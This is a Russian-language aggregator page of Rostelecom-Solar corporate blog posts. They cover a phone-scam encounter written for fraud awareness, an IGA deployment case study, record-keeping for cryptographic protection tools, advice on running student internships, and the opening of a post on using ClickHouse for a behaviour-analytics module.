Потом у меня уточнили год рождения. И, хотя девушка лет на 10 ошиблась, я подтвердил озвученный ей возраст.

Слово за слово, и мы разобрались, что мои персональные данные были скомпрометированы. Правда, как именно это произошло, девушка так и не уточнила: отдал карту жене и украли у нее, зашел на фишинговый сайт и вбил данные самДа какая разница.

Мне пообещали помочь и переключили на старшего специалиста.

Примерно через 10 секунд ожидания (вот бы в службе поддержки реального банка отвечали так же быстро!) мне ответил уже другой женский голос. В ее версии моя лжезаявка была оформлена не вчера, а сегодня. Но на такие мелочи никто внимания не обращает. Ну и я не обратил.

Мы продолжили разговор уже более предметный. Меня спросили адрес отделения, в котором обычно обсуживаюсь, и предложили пройти процедуру идентификации как клиента Себранка по номеру карты или договора.

Тут я, конечно, немного напрягся, так как эти цифры называть совсем не хотелось. Сказал, что номер договора не помню, а карту быстро не найду.

Заканчивать разговор на такой ноте не хотелось и я сказал, что должен позвонить своему менеджеру в банке, чтобы уточнить номер договора. Мою собеседницу это не смутило и она сообщила, что зафиксировала все данные, и дальше со мной должны связаться сотрудники правоохранительных органов для разрешения ситуации.

Что должно было быть дальше

В этот момент все встало на свои места об этой схеме я уже слышал. Ее особенность в том, что вы отдаете деньги мошенникам прямо в руки.

По планам злоумышленников, я должен был пойти в то самое ближайшее отделение банка и получить кредит. Сумму мне назвать так и не успели видимо, ее должны были рассчитать из 3 млн руб., которые лежат (на самом деле нет) у меня на счете.

Дальше самое интересное: со мной должны были связаться лжепредставители правоохранительных органов. Для обнуления кредитной заявки мне требовалось передать им деньги, чтобы они... вернули их обратно в банк! Не знаю, как я должен был передать деньги: перевести на карту, счет или передать в пакете под покровом ночи на детской площадке. Последнее, говорят, тоже бывает.

Эксперимент я решил закончить словами: Могу ли я вызвать полицию для того, чтобы они поговорили с вашими правоохранителями?. Женщине данный вопрос не понравился, но она сдержалась и сказала, что, конечно, могу. После чего я ей предложил найти хорошую работу, где не нужно было бы обманывать людей. Ожидаемо, она повесила трубку.

Кстати, звонок был с номера +7-499-009-10-76.

Что я сделал после

Чтобы сразу понимать, кто звонит, я пользуюсь приложениями-определителями номера. Например, от Касперского или Яндекса. Они показывают не просто номер, а легенду абонента. Номера моих мошенников у них в базе не было, и я добавил его с хэштегом мошенничество.

Кажется, что этот развод очевиден и вы-то точно на него не попадетесь. Но некоторые схемы бывают весьма продуманными и хитрыми (ранее я уже рассказывал, как меня пытались кинуть продавцы на сервисах Avito и Юла).

Словом, не теряйте бдительность и будьте на чеку.

Подробнее..

Категории: Информационная безопасность , Банки , Блог компании ростелеком-солар , Фишинг , Иб , Мошенничество

Кейс внедрения IGA-системы в крупном производственном предприятии

09.02.2021 10:17:03 |

Автор: admin

Привет, Хабр! Бывают случаи, когда приходят заказчики, которые до тебя уже хлебнули сполна. Проект, о котором пойдет речь ниже, один из таких. Заказчик крупное производственное предприятие, а если быть точным, то целая группа компаний. И хотя изначально мы обсуждали с ним систему защиты от утечек Solar Dozor и сервис мониторинга и реагирования на кибератаки Solar JSOC, гораздо большее внимание в тот момент привлекла наша IGA-система Solar inRights. Почему? Расскажем под катом.

Иллюстрация: кадр из м/ф Ну Погоди!

Небольшая предыстория (разбираемся, чего хлебнул заказчик)

Организация хотела автоматизировать функции по созданию и изменению учетных записей и ролей: оперативно получать информацию о текущих доступах сотрудника и на любой момент в прошлом, автоматизировать жизненный цикл учетных записей, настроить плавный переход доступов при переводе в другое ДЗО, хранить данные о сотрудниках и их правах в одном месте и т.д.

Заказчик использовал самописные скрипты в качестве лоскутной автоматизации отдельных функций, связанных с обеспечением прав доступа. Как это водится, скрипты справлялись с точечными болями. Однако с развитием компании потребность в автоматизации все больше росла, а желания дописывать скрипты, которые постепенно превращались в тяжеловесный нечитаемый код, не было.

Так заказчик обратился к компании Бублик (все названия вымышлены, любое совпадение с реальными являются случайностью). Итак, Бублик продал свое IDM-решение и, утвердив детали, взялся за проект. Шло время, Бублик что-то делал, а результата все не было и не было видно. Продукт не оправдывал возложенных на него надежд. Когда силы, инвестированные заказчиком в этот проект, стали подходить к концу, мы обсудили внедрение нашей системы IGA. ИТ-отдел заинтересовался предложением и дал нам два месяца на пилотное тестирование.

Стоит сказать, что в тот момент производственное предприятие также посматривало в сторону SAP GRC в качестве инструмента автоматизации прав доступа и полномочий в системах SAP. Но стоимость SAP GRC сильно уменьшила привлекательность этого решения в глазах заказчика.

Иллюстрация: кадр из м/ф Алладин

Интеграция

MS Active Directory

Первое, что должен узнать заказчик до внедрения IGA если автоматизировать хаос, мы получим автоматизированный хаос. Компании зачастую этого просто не понимают, а мы слишком хорошо знакомы с такими кейсами, поэтому всегда стартуем с приведения в порядок информации в AD. Стоит сделать комплимент заказчику, потому что данные в кадровом источнике и AD велись структурно, орг.юниты упорядочены, карточки пользователей заполнены. Используется система идентификации по СНИЛС очень элегантное решение для исключения ошибок при сопоставлении данных КИ и AD. Например, если в качестве идентификатора используют табельный номер и, допустим, какой-то сотрудник совмещает несколько должностей, учетные записи могут задваиваться. В общем, таких проблем не было, все довольно аккуратно лежало на своих местах, и это позволило нам быстро проскочить этот этап.

До этой интеграции внешний скрипт получал информацию из кадровой системы и создавал учетные записи в AD. После эту функцию взяла система IGA, позволив задавать разные базовые права для пользователей разных подразделений, причем через визуальный интерфейс. Новые сотрудники по умолчанию наделялись как стандартными для всех правами доступа, так и правами конкретных подразделений (например, диск, SharePoint, корпоративная рассылка и т.д.).

Кстати, подробнее о том, как построить ролевую модель управления доступом, мы писали ранее (здесь и здесь).

MS Exchange

Интеграция с Exchange позволила заводить почтовые адреса сотрудникам через IGA. Раньше это тоже делалось через скрипт, но Solar inRights в дополнение дал возможность настраивать уровни дифференциации в зависимости от категории пользователя и автономно наделять адреса ограничениями по объему хранения. Для руководителей отделов и департаментов один объем памяти, для сотрудников без подчиненных другой. При этом настройки позволяют наделять определенным объемом почтовые адреса не только на основании иерархичности должностей, но и на основании принадлежности к определенному подразделению.

MS Skype for business

При создании учетной записи в AD пользователям автоматически создаются учетные записи в Skype и выдаются права звонить друг другу в корпоративной версии системы.

Четыре SAP-системы. Подходим к самому интересному

У заказчика было четыре системы SAP: ERP, CRM, SRS, TM. Как раз для них он рассматривал SAP GRC, чтобы централизованно управлять учетными записями всех систем и автоматически каталогизировать структуру ролей.

1. Вычитка данных из внешних источников

Команда заказчика приняла решение отказаться от внедрения системы управления учетными записями от SAP в пользу IGA от Ростелеком-Солар. Был один нюанс: наша система не могла автоматически каталогизировать структуру ролей из внешних файлов. Она позволяла создавать каталоги ролей и назначать их пользователям вручную, но не умела вычитывать данные о структуре каталогов из внешних источников.

По запросу заказчика мы доработали IGA, добавив загрузку иерархии каталогов из внешних источников. Появилось два новых скрипта. Первый втягивает каталог с информацией о базовых ролях подразделений и должностей. Второй отмечает, какая роль SAP к какому каталогу и к какому бизнес-процессу относится, и воссоздает необходимую иерархию в IGA. Оба скрипта проверяли загружаемые данные на корректность и полноту. Механизмы валидации ловят ошибочки: скрипт находит некорректные названия каталогов, неправильно составленные каталоги и др. За несколько итераций загружаемые файлы привели в порядок.

У заказчика появилась возможность согласовывать набор базовых ролей (допустим, в .excel) и загружать файл через удобный пользовательский интерфейс в IGA. После этого система автоматически пересчитывает состав базовых ролей, если возникает необходимость в его обновлении, и выдает пользователям измененный состав ролей.

2. Прорабатываем все нюансы с доступом

Совместно с SAP-командой заказчика мы разработали проектное решение по интеграции IGA. Описали те методы, которые необходимо реализовать, и те данные, которыми должны обмениваться системы. Мы проработали набор штатных правил по предоставлению доступов, но внештатных кейсов, которые тоже нужно было учесть, оказалось много.

Обычно админы систем управления доступом делятся деталями штатной работы системы, но всегда есть нюансы. Эти нюансы сидят в них как скрытые знания, которые открываются только по случаю. Администраторы понимают, что если придет такой запрос, то конкретно этому пользователю именно этого отдела и только в этом случае надо предоставить доступ вот к этому (?).

Около трех месяцев мы совместно с админами компании прорабатывали нюансы. Когда начинали автоматизировать кейс и писать к нему соответствующий атрибут, возникали вопросы, а почему вообще его надо дописывать, почему этим людям, кому еще и в каких случаях. При этом ожидать, что всегда-всегда в основе кейса лежит логика или закономерность, не следует. Иногда это просто аксиома, которую мы должны принять бездоказательно.

3. Пишем коннектор к SAP

У нас не было штатного коннектора к SAP инструмента, который позволял бы централизованно взаимодействовать нескольким SAP-системам и поэтому мы его написали сами. Чтобы не плодить четыре типовых коннектора к каждой из SAP-систем, мы сделали интеграцию одним коннектором через шину SAP PI/PO, которая маршрутизирует запросы, к системам SAP, по ряду критериев определяет, в какую из систем его отправить, и возвращает ответ.

Два экземпляра 1С в WMS

Мы провели обследование, согласовали протокол взаимодействия систем, разработали коннектор 1С и провели интеграцию. В тот момент, когда мы первый раз показали заказчику, как все это работает, помимо ролей он попросил указывать также номер склада, к которому эти роли относятся. Поскольку номер склада это атрибут пользователя, пришлось дорабатывать концепцию интеграции и коннектор к 1С.

На выручку пришла гибкость нашей системы, которая позволила за счет метаролей сделать управление полем склада. Поскольку сам склад это не роль, а просто атрибут, мы на стороне IGA создали 5 ролей, которые назывались склад 1, склад 2, склад 3 и т.д. При назначении пользователю роли склад в атрибут прописывался конкретный идентификатор склада, в котором он выполняет операции под теми ролями, которые ему назначены. Таким образом, на стороне IGA была информация о том, на каком складе работает пользователь, которая передавалась автоматически в 1C.

Эта интеграция подтолкнула нас к разработке собственного функционального расширения для платформ 1С и прохождению сертификации совместимости коннектора IGA Solar inRights с разными конфигурациями 1С, которую мы получили в конце 2020.

Кадровые источники две системы кадрового учета на платформе 1С версии 7

У заказчика несколько источников кадровых данных, поэтому ему требовалось автоматизированное объединение информации в единую кадровую выгрузку. Наш механизм, каждые 30 минут обрабатывал кадровые источники и обновлял выгрузку.

Послесловие

Пост начинался с рассказа о негативном опыте заказчика, и несмотря на то, что процесс интеграции не бывает простым, нам удалось преодолеть скептицизм, который сформировался после затянувшейся и в итоге несостоявшейся интеграции IDM от другого вендора. Подводя итоги проекта, заказчик оценил работу нашей команды на 9 баллов из 10. Мы остались довольны взаимодействием с ИТ-командой компании и результатами интеграции.

Итоги проекта в цифрах:

Общее количество пользователей	14 200
Количество учётных записей, которыми управляем Остальные в статусе Уволен	~ 12 000
Количество ролей, которыми управляем	7 300
Количество подключенных управляемых ИС	9
Количество подключенных кадровых источников	2

Мораль истории: правильно выстроенная работа команд интегратора и заказчика половина успешного внедрения :)

Автор: Максим Мордачев, руководитель проектов Solar inRights компании Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , It-инфраструктура , Управление проектами , Софт , Блог компании ростелеком-солар , Права доступа , Учётные записи , Iga , Управление ролями , Автоматизация прав доступа

Привет из прошлого кто, что и зачем пишет в журнале учета СКЗИ

11.02.2021 10:09:47 |

Автор: admin

Скорее всего, вы знаете, что учет СКЗИ регламентирован Инструкцией об организации и обеспечении безопасности хранения, обработки и передачи по каналам связи с использованием средств криптографической защиты информации с ограниченным доступом, не содержащих сведений, составляющих государственную тайну. Этот документ невиданной силы утвержден приказом Федерального агентства правительственной связи и информации при президенте Российской Федерации (ФАПСИ) от 13.06.2001 152.

Тогда, 20 лет назад, сертифицированные СКЗИ применялись крайне редко, а большинство организаций не имели такой разрозненной и распределенной по всей стране ИТ-инфраструктуры. В итоге инструкция, например, до сих пор не предусматривает возможность удаленной передачи ключей шифрования, а журнал учета требуется хранить в отдельном помещении. Вести учет в электронном виде можно, но только с применением квалифицированной ЭП (учет СКЗИ в электронном виде это тема для отдельной статьи, и об этом мы поговорим следующий раз), либо сопровождать каждое действие соответствующими актами.

Кстати, само ФАПСИ было расформировано в 2003 году. Его функции были распределены между ФСО, ФСБ, СВР и Службой специальной связи и информации при ФСО. Но написанный агентством документ не утратил силы.

Кто и как ведет учет

Если организация является обладателем конфиденциальной информации, то ей, скорее всего, требуется обеспечить безопасную передачу, обработку и хранение этой информации с помощью СКЗИ. К слову, к последним инструкция относит как сами программные или аппаратно-программные средства, так и информацию, необходимую для их работы, ключи, техническую документацию.

Организует и контролирует все работы с СКЗИ орган криптографической защиты (ОКЗ). Это может быть как структурное подразделение (или конкретный сотрудник) внутри организации (обладателе конфиденциальной информации), так и внешний подрядчик (например, сервис-провайдер).

В первом случае организация должна издать приказ о создании ОКЗ, определить его структуру и обязанности сотрудников. Например:

начальник отдела занимается организацией и совершенствованием системы управления работой своих сотрудников;
администратор безопасности обеспечивает сохранность информации, обрабатываемой, передаваемой и хранимой при помощи средств вычислительной техники.

Все работники, которые занимаются установкой и настройкой СКЗИ и в принципе имеют к ним доступ, должны быть внесены в приказ и ознакомлены с ним. Для каждой должности нужно разработать должностную инструкцию и ознакомить пользователей с порядком применения СКЗИ.

В итоге перечень необходимых документов состоит из:

приказа о создании ОКЗ;
должностных инструкций;
утвержденных форм журналов учета;
шаблонов заявлений, актов;
инструкции для пользователей по работе с СКЗИ.

Мы помним, что по всем СКЗИ должен вестись поэкземплярный учет, а их движение (формирование, выдача, установка, передача, уничтожение) должно быть документально подтверждено. Для этого и обладатель конфиденциальной информации, и орган криптографической защиты должны вести журналы (каждый свой) поэкземплярного учета СКЗИ, эксплуатационной и технической документации к ним, ключевых документов.

Но если орган криптографической защиты информации это структурное подразделение организации, на его плечи ложится ведение обоих журналов. Дело в том, что в этом случае организация не только является обладателем конфиденциальной информации, но и выполняет часть функций ОКЗ. Например, крупные холдинги, как правило, выделяют в своем составе ИТ-компанию, которая в том числе отвечает за информационную безопасность с использованием СКЗИ. Она ведет все журналы и сопутствующую документацию и является для своего холдинга поставщиком услуг.

Если услуги оказывает сервис-провайдер, то он заполняет журнал учета для органа криптографической защиты, а организация журнал для обладателя конфиденциальной информации.

Вы еще тут? Надеемся, не запутались!

Журналы учета хранятся в течение 5 лет. Сами СКЗИ и документация к ним должны находиться ~~за семью замками~~ в специальном помещении, а доступ туда могут иметь только сотрудники ОКЗ.

Операции с СКЗИ: взятие на учет

Рассмотрим порядок учета на конкретном примере (данные в таблицах ниже вымышленные ~~все совпадения случайны~~). Организация N обладатель конфиденциальной информации хочет использовать СКЗИ компании КриптоПро. При этом организация N не готова создавать у себя ОКЗ и обращается к сервис-провайдеру, который будет предоставлять ей соответствующие услуги. Итак, для начала вендор ПАК должен предоставить организации N исходные данные для учета. Выглядит это так:

Предмет	Данные	с/н лицензии СКЗИ
Сопроводительное письмо	т/н 44313 от 22.02.2020	-
Формуляр СКЗИ КриптоПро CSP версии 4.2	ЖТЯИ.00002-02 30 10	-
Диск CD-ROM с дистрибутивом СКЗИ	Инв. 5421	34DR-4231-4123-0003-1200 HR9J-EEWR-45W3-VL4Q-842Q 4454-NG96-8421-6401-WQRG

В 16 графы журнала поэкземплярного учета должна попасть информация о:

диске с дистрибутивом;

формуляре;

серийном номере лицензии на СКЗИ.

После заполнения всех этих данных СКЗИ выдаются пользователям, то есть тем работникам в организации, для которых они закупались. Это может быть как сотрудник бухгалтерии, который применяет ЭП для подписания и отправки документов, так и другой ответственный специалист, взявший на себя обязательства по сохранности СЗКИ.

На этом этапе заполняются 7 и 8 графы журнала (кому и когда выдается СКЗИ с обязательной росписью пользователя). Если возможности расписаться в журнале нет, то можно заполнить акт передачи, где в свободной форме указывается, кто (администратор безопасности) и кому (пользователю) передает СКЗИ. При этом обе стороны расписываются, а номер акта вносится в 8 графу (Дата и номер сопроводительного письма).

В 9 графу записывается имя сотрудника, производившего установку СКЗИ. Чаще всего это делает специалист технической поддержки, который также является администратором безопасности. Но это может быть и пользователь, если он обладает соответствующими навыками и правами доступа в сеть. В 11 графе указывается серийный номер материнской планы или номер опечатывающей пломбы системного блока.

Если сотрудник, который производил установку, уволился, то СКЗИ нужно изъять и составить акт, в котором указывается предмет и способ изъятия (например, удаление ключевой информации с носителя). Все это фиксируются в 12, 13, 14 графах.

При уничтожении СКЗИ также составляется соответствующий акт. В нем должны быть указаны предмет и способ уничтожения. Программные СКЗИ стирают с носителя ключевой информации (чистка реестра), а ПО деинсталлируют. С аппаратных СКЗИ можно удалить ключевую информацию либо уничтожить их физически.

Ниже пример журнала, заполненного организацией обладателем конфиденциальной информации. ООО Компания это сервис-провайдер, который выполняет функции органа криптографической защиты для организации.

Заглянуть в журнал учета

Журнал поэкземплярного учета СКЗИ для обладателя конфиденциальной информации

Журнал учета СКЗИ для органа криптографической защиты во многих пунктах перекликается с аналогичным документом для организации и заполняется по такому же принципу, поэтому не будем подробно останавливаться на его разборе. В примере ниже ООО Организация это обладатель конфиденциальной информации, который воспользовался услугами сервис-провайдера.

Заглянуть в журнал еще раз

Журнал поэкземплярного учета СКЗИ для органа криптографической защиты

Что в итоге?

Сложно не согласиться с тем, что все эти требования уже давно морально устарели и Инструкция нуждается в актуальных корректировках, но пока мы вынуждены выполнять требования ее текущей редакции. Обратите внимание, что для ведения журнала поэкземплярного учета СКЗИ в электронном виде требуется подписывать документы только квалифицированной ЭП либо сопровождать каждое действие соответствующими актами. Если же речь идет о физическом документе, то все данные и подписи должны быть внесены в него всеми ответственными лично.

Безусловно, учет СКЗИ это только один из множества обязательных к исполнению процессов, описанных в документе. В будущем мы постараемся подробно описать процесс опломбирования СКЗИ, технологию их уничтожения и многое другое.

Надеемся, эта памятка была для вас полезной.

Автор: Никита Никиточкин, администратор реестра СКЗИ Solar JSOC Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , Vpn , Шифрование , Блог компании ростелеком-солар , Учет , Скзи

Не человек для работы, а работа для человека мои ошибки при организации стажировок для студентов

18.05.2021 16:06:28 |

Автор: admin

Пару недель назад мы объявили набор стажеров в нашу дирекцию по интеграции. Среди профессий, в которых мы предлагаем попробовать свои силы, есть аудит ИБ, аттестация и консультирование. Во время стажировки я буду курировать это направление, поэтому хочу поделиться опытом введения новичков в профессию. За несколько лет я выработал подход, который позволяет стажерам увидеть творчество в такой суровой сфере, как комплаенс и не потерять мотивацию, закопавшись в нормативке.

Несколько лет назад я посмотрел выступление дирижера Бенджамина Цандера на TED Talks Сила классической музыки, где целый зал людей впервые в своей жизни слушал и слышал классическую музыку, потому что научился это делать. Вы можете осветить целую деревню глазами этого мальчика, сказал Цандер об одном из своих слушателей. Это и есть результат понимания. Именно тогда у меня закралась мысль, что и в моей повседневной работе все должно обстоять точно так же.

Опыт, сын ошибок трудных

Опыт работы со студентами у меня появился еще до того, как я пришел в Ростелеком-Солар. Несколько лет назад я был должен выстроить рабочие процессы ИБ-интегратора в государственной организации, попутно укомплектовав штат специалистов. Речь шла про весь цикл работ: от инвентаризации до аттестации и эксплуатации, а свободных рук не было совсем. Поначалу руководство рассчитывало найти высококвалифицированных специалистов с большим стажем чтобы как в анекдоте: и дракона победить могли, и положительный опыт организации концертов Бориса Моисеева в Дагестане имели. После довольно долгих попыток реализовать мечты пришло рискованное решение попробовать перехватить толковых ребят пораньше пока они еще студенты. Первый опыт оказался не очень удачным. Оказалось, что недостаточно просто позвать ребят, раздать им задачи и контролировать ход их выполнения.

В большинстве случаев для человека без опыта задачи из серии сделай модель угроз для такого-то проекта, напиши проект защиты и т. п. пустой звук. Студент слушал часовую лекцию о том, как это делается, кивал головой, что все понял, и исчезал до конца практики или времени, отведенного на тестовые задания. Да, какой-то результат был, но только для галочки.

При этом маленькие рутинные задачи, такие как перевести полезный документ на русский язык, заполнить тысячу записей в журнале, привести документ к единому стилю, уничтожали всякий интерес к работе. Задачи выполнены хорошо, но желания остаться нет.

Я понял, что дело не в студентах, а в подходе к стажировке. Не надо растить универсального солдата под названием специалист по ИБ. Надо разделить эту должность на подзадачи: моделирование угроз, проектирование, аудит, аттестация, пентест, управление проектами (собственно, именно так все и будет на нашей предстоящей стажировке). Однако тут возникает еще один момент на мой взгляд, ключевой для молодого специалиста, только-только узнающего профессию на практике.

Мотивировать, а не сломать студента

В начале стажировки я обычно провожу две лекции вводную и мотивационную. С вводной все понятно, а мотивационная нужна для того, чтобы рассказать ребятам, какие задачи бывают, как их выполнять, как получается результат, в чем его ценность и кем он востребован. А дальше начинается индивидуальный подход. За эти годы я понял для себя одну важную вещь: не надо ломать характер человека. Если начинать карьеру с того, к чему вообще не лежит душа, это вполне ожидаемо отпугнет от профессии.

Поэтому после вводной и мотивационной лекций я беседую с каждым студентом. Я никогда не пытался формализовать этот процесс, это обычное общение. Пытаюсь найти общий язык с человеком, разговорить его, понять, чем он увлекается и в чем силен. Например, новый стажер любит музыку. В смысле, не просто меломан, а разбирается в ее законах, понимает, как формируется композиция. Или его страсть программирование. Спрашиваю, что именно его привлекает в этом. Получается абсолютно живой разговор, помогающий понять склонности человека, его характер. Параллельно я пытаюсь провести и показать человеку параллели с информационной безопасностью, с теми процессами, в которых он может быть задействован. Важно понять, с чем ребятам будет работать комфортно, что у них, скорее всего, будет хорошо получаться, а что вообще не их.

И, исходя из этого, уже можно делить студентов по направлениям. Общительным я предлагаю попробовать себя в аудите и консалтинге: там предстоит много разговаривать с заказчиком, его айтишниками и безопасниками, без прокачанных коммуникативных навыков тут непросто добиться успеха. Более замкнутые товарищи часто выбирают проектирование и пентест. Конечно, общаться с коллегами здесь тоже придется, но немалая часть работы проходит наедине с собой. Ребятам, которые сильны в программировании, возможно, будет интересно строить модели угроз и нарушителя: здесь пригодится умение систематизировать, мыслить алгоритмами, просчитывать в голове разные варианты развития событий.

Если найти в рабочих процессах применение сильным сторонам студента, он загорится дальше развиваться в этом направлении. Вызвать азарт, дать человеку радость от того, что он делает, гораздо важнее, чем просто обучать. При этом важно, чтобы стажер понимал всю цепочку работ и видел значение и значимость своих задач.

Учимся читать, писать и планировать

Еще в первые годы работы со студентами я понял, что они не умеют это делать. Не спешите обижаться. Речь о профессиональных навыках, которым не учат в университете они появляются с опытом. Поэтому теперь я начинаю работу со своими стажерами именно с этого.

Когда я говорю об умении писать, я имею в виду навыки работы с офисными пакетами. Я объясняю ребятам, что, если мы говорим о комплаенсе, придется самостоятельно готовить огромное количество документов. Если успеваю продолжить до того, как увижу их быстро удаляющиеся затылки, то добавляю: если владеть стилями, уметь оформлять таблицы и верстать не с помощью пробелов, то всю эту работу можно делать играючи. В ином случае да, возненавидишь ее через пару дней. Но я же имею дело с ребятами, которые как минимум изучали в университете программирование, а может, даже знают про CSS. Поэтому часто бывает достаточно объяснить, что Word не сильно отличается от веб-верстки. Потом отправляю студента проходить курс по Microsoft Office на их официальном сайте. Не для галочки, а для того, чтобы человек мог ускорить свою работу, исключив повторение однотипных действий. Использование шаблонов, стилей, стандартных блоков и скриптов VBA сокращает рутинные операции до минимума. А постоянно создавать однотипные документы с нуля, конечно, даже ~~конкуренту~~ врагу не пожелаешь.

Читать тоже придется переучиваться. Мы живем в эпоху победившего инфостиля. Тексты принято писать без трехэтажных конструкций, продвинутые сервисы общаются с клиентами максимально простым и понятным языком. И вот современный студент открывает нормативку, видит зашкаливающее количество канцеляризмов, постоянные тавтологии и думает, что это неправильно, так нельзя. Но такова документация, юридические тексты законов и тому подобное они пишутся не для людей, и читать их нужно другим способом сканированием, то есть считывая только значимую информацию. Еще один аспект правильного чтения в нашем деле прочитали текст закона, открываем комментарии юристов, судебную практику. Потому что с одной нормативкой далеко не уедешь.

И о планировании. Тут все как в мультфильме Крылья, ноги и хвосты: Лучше день потерять, потом за пять минут долететь. Я это объясняю еще во время мотивационной лекции. Вы можете сделать работу за один час, а можете потратить четыре на автоматизацию, но зато потом на такие же задачи вообще времени не тратить. Так вот планирование в конечном счете сводится именно к тому, чтобы автоматизировать повторяющиеся задачи снова в помощь программирование, которое изучали в универе.

Но перед этим в планировании нужно освоить базу: оценку трудозатрат на единицу работу и оценку полноты входных данных. Здесь уже на помощь приходит математическая статистика (не теория вероятностей, ведь они решают противоположные задачи). Самый простой метод оценка по трем точкам, когда смотришь худший результат, максимальный результат и математическое ожидание. Он позволяет снизить погрешность от субъективности оценки.

Остаться в ИБ

Конечно, один из главных мотивирующих факторов возможность получить работу после стажировки. Чтобы ее целью была не только оценка за практику, нужно увлечь студента профессией, показать ему перспективы. Те условия, которые есть у нас, позволяют вчерашним стажерам получить карьерное развитие без смены работодателя. Направлений много, заказчики федерального уровня есть куда расти и в чем развиваться. Было бы желание. Другими словами, успешная карьера студента начинается не где-то там в будущем, а уже прямо сейчас можно почувствовать себя полноценным членом большой команды.

Какие навыки мы ценим

Сильными не рождаются, сильными становятся. Основная сложность состоит в том, чтобы понять какие навыки развивать и поддерживать, ведь наше сознание пластично и то, что не используется, отмирает. У каждой компании, у каждого специалиста существует свое видение полезных навыков. Ниже озвучиваю список, рожденный в результате моего опыта.

Начну с профессиональных скиллов. Хорошему ИБ-специалисту совершенно точно пригодятся математические знания теория множеств, алгебра, теория групп, теория вероятностей, математическая статистика, теория графов. Буду полезны навыки программирования C#, VBA, Python. Понятно, что будет сложно в ИБ без понимания устройства сетей, систем и т. п. Придется разбираться и в нормативке и правильно ее читать (см. выше). Владеть базовыми инструментами, такими как Word, Excel, Vision, PowerPoint, на уровне экзамена Microsoft тоже здорово. Но, как говорится, не умеешь научим (см. выше).

Еще один важный навык это развитое абстрактное мышление, которое еще называют системностью и аналитическим складом ума. Поясню. Как я уже сказал, я занимаюсь комплаенсом. Уже само это слово вместе с аудитом и аттестацией способно отпугнуть очень многих. Однако именно умение смотреть на конкретные ежедневные рутинные задачи как на элементы системы, подлежащей автоматизации, делает работу творческой. Мне очень часто приходится сталкиваться с нетипичными проектами, поэтому у меня уже большой опыт в стандартизации того, что еще не стандартизировано. Умение проводить аналогии, обобщать уже сделанное позволяет не заниматься весь день мелкими однотипными задачами, а делать их быстро, посвящая рабочее время интересным и нестандартным проектам.

И конечно, важны критическое мышление, чувство юмора, развитый эмоциональный интеллект, умение и желание общаться, задавать вопросы. Без этих качеств будет тяжко где угодно.

Почему могут не взять на работу после стажировки?

Вообще, причины схожи с теми, из-за которых можно лишиться работы или не пройти испытательный срок, даже будучи специалистом. Дальнейшему сотрудничеству могут помешать несколько моментов.

Если стажер с опозданием эскалирует проблемы, не сообщает руководителю проекта и куратору, что что-то пошло не так, то он вредит не только себе. Зависает одна задача зависнут те, которые с ней связаны. Как я уже говорил, нужно, чтобы стажер, делая часть, понимал процесс в целом и чувствовал свою ответственность за общий результат.

Еще один вариант проблем с коммуникацией когда человек стесняется спрашиваешь, если не знает, и, наоборот, не стесняется спрашивать, если знает ответ или, по крайней мере, знает, где его найти. Тут важно почувствовать этот баланс. Нельзя быть необщительным букой стажер просто недополучит знания, которые мог бы получить. Ну а про вред общему делу я уже сказал выше. Но и перебарщивать не стоит: бывает, что человек все знает, но то ли от неуверенности, то ли от чего-то еще постоянно переспрашивает.

Сотрудничества не получится, если человек альтернативно понимает прочитанное (стандарты, законы, нормативные акты). Лечится тем самым умением читать. Но у кого из нас даже в обычной жизни не возникало: Ой, да что там разбираться, тут и так все понятно! В ИБ, и особенно в комплаенсе, так точно не надо.

И вполне вероятно, что предложение остаться не получит стажер, который увлечен какой-то мечтой, а ИБ это только миг. Но это скорее про то, что не надо насиловать себя и заниматься нелюбимым делом.

Вместо заключения

Возможно, кто-то ждал от этой статьи большей конкретики чем занимается такой-то специалист, какие навыки ему нужны. Но я хотел рассказать не об этом. Стандартное описание функционала тех, кто отвечает за комплаенс в сфере информационной безопасности, несложно нагуглить, но вряд ли оно способно завлечь и подтолкнуть к выбору именно этой профессии. В своем посте я хотел показать, что дело не в обязанностях, а в подходе человека к работе. Сложно полюбить нормативку и множество документов сами по себе, но можно полюбить процессы, в которых ты участвуешь, которые ты нередко сам придумываешь, чтобы получить максимальный результат.

Однажды среди моих стажеров был парень, который вообще-то увлекался программированием и хотел стать веб-дизайнером, но в итоге он пошел в проектировщики, осознав связь между ГОСТами 34-й серии (разработка и эксплуатация автоматизированных систем) и каскадными таблицами стилей. Он стал писать стандарты, потому что ему понравилось, как он автоматизировал свою работу, как научился управляться с документами и быстро готовить их.

Я уверен, что хорошая стажировка это не история для галочки, которую поставят себе студент и сама компания, чтобы потом пойти каждый своей дорогой. Стажировка это начало большого пути, и он сразу должен быть интересным и полезным.

Автор: Алексей Матвеев, ведущий консультант по информационной безопасности Дирекции по интеграции компании Ростелеком-Солар

Подробнее..

Категории: Информационная безопасность , It-компании , Карьера в it-индустрии , Законодательство в it , Блог компании ростелеком-солар , Стажировка , Аудит безопасности , Compliance , Ростелеком-солар

Вот это скорость! Как мы подружили наш UBA-модуль с ClickHouse и что из этого вышло

02.02.2021 10:16:21 |

Автор: admin

В прошлом году мы выпустили мажорную версию своего продукта Solar Dozor 7. В новую версию нашей DLP-системы вошел модуль продвинутого анализа поведения пользователей UBA. При его создании мы попробовали разные базы данных, но по совокупности критериев (о них скажем ниже) в итоге остановились на ClickHouse.

Освоить ClickHouse местами было непросто, многое стало для нас откровением, но главное преимущество этой СУБД затмевает все её недостатки. Как вы поняли из заголовка, речь о скорости. По этому параметру ClickHouse оставляет далеко позади традиционные коммерческие базы данных, которые мы в своих продуктах, в том числе в Solar Dozor, тоже используем.

В общем, если вы давно хотели, но никак не решались попробовать, изучите наш опыт, он может вам пригодиться.

Кадры из мультфильма Турбо (2013 год)

О модуле UBA и его архитектуре

Принцип работы модуля UBA в том, что он анализирует активность сотрудников в реальном времени, проверяя корпоративную почту, и формирует личный профиль устойчивого поведения пользователя. В случае отклонений Solar Dozor сообщает о них, чтобы можно было вовремя заметить нехарактерные действия сотрудников.

Все данные, которые нужны UBA-модулю, лежат в ClickHouse. Его мы ставим заказчику на ту же машину, куда инсталлируем и сам Solar Dozor. В базе храним не письма, а метаданные сообщений, то есть кто, когда, с кем переписывался, какова тема письма, какие вложения оно содержит и т. д. Время хранения можно настраивать, нам для расчетов нужен 90-дневный период. Поддержкой UBA-модуля занимаемся мы, частично это могут делать и админы клиента. В любом случае задача разработчиков максимально автоматизировать администрирование БД.

